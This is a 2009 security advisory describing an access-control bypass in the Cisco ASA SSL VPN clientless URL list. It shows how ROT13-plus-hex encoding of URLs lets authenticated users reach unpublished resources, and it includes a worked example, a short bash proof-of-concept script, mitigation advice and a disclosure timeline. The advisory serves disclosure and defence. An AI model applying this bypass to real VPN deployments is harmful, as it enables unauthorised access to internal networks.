============================================= INTERNET SECURITY AUDITORS ALERT 2009-013 - Original release date: December 7th, 2009 - Last revised: December 16th, 2009 - Discovered by: David Eduardo Acosta Rodriguez - Severity: 4/10 (CVSS Base Score) =============================================
Cisco ASA <= 8.x VPN SSL module Clientless URL-list control bypass
Cisco VPN SSL  is a module for Cisco ASA and Cisco Integrated Services Routers to extend network resources to virtually any remote user with access to the Internet and a web browser.
Cisco VPN SSL Clientless lets administrators define rules to specific targets within the private network that WebVPN users will be able to access. This specific targets are published using links in VPN SSL home page. These links (URL) are protected (obfuscated) using a ROT13 substitution and converting ASCII characters to hexadecimal. An user with a valid account and without "URL entry" can access any internal/external resource simply taken an URL, encrypt with ROT 13, convert ASCII characters to hexadecimal and appending this string to Cisco VPN SSL URL.
Using URL http://intranet published on internal server (not accessible from home page): 1. Convert string to ROT13: uggc://vagenarg 2. Change ASCII chars to HEX: 756767633a2f2f766167656e617267 3. Append string to Cisco VPN SSL: https://[CISCOVPNSSL]/+CSCO+00756767633a2f2f766167656e617267++
This is a simple PoC for easy demonstration:
echo -n "write URL:" read a b=`echo -n $a | tr '[a-m][n-z][A-M][N-Z]' '[n-z][a-m][N-Z][A-M]' | od -tx1 | cut -c8- | sed 's/ //g'` | paste -s -d ''; echo -n "URL " echo -n "https://[CISCOVPNSSL]/+CSCO+00"; echo -n $b; echo -n "++"; echo "";
Users with valid account can surf to internal/external resources, bypassing controls in home page.
Cisco ASA <= 8.x are vulnerable.
Always set "webtype" ACL and "filter" to block access in Web VPN SSL (not activated by default). Included in Cisco site now. Follow recommendations from "Cisco Understanding Features Not Supported in Clientless SSL VPN" .
 www.cisco.com/web/go/sslvpn  http://en.wikipedia.org/wiki/ROT13  http://www.cisco.com/en/US/docs/security/asa/asa82/configuration/ guide/webvpn.html#wp999589 http://tools.cisco.com/security/center/viewAlert.x?alertId=19609 http://www.isecauditors.com
This vulnerability has been discovered by David Eduardo Acosta Rodriguez (deacosta (at) isecauditors (dot) com, dacosta (at) computer (dot) org). Thanks to Juan Galiana Lara (jgaliana (at) isecauditors (dot) com)) for additional research.
December 7, 2009: Initial release. December 16, 2009: Last revision.
December 9, 2009: Vendor contacted December 9, 2009: Vendor response, they include our mitigation proposal in their website and start the analysis of correction required. December 16, 2009: Vendor confirms remediation and public statement. December 17, 2009: Sent to lists.
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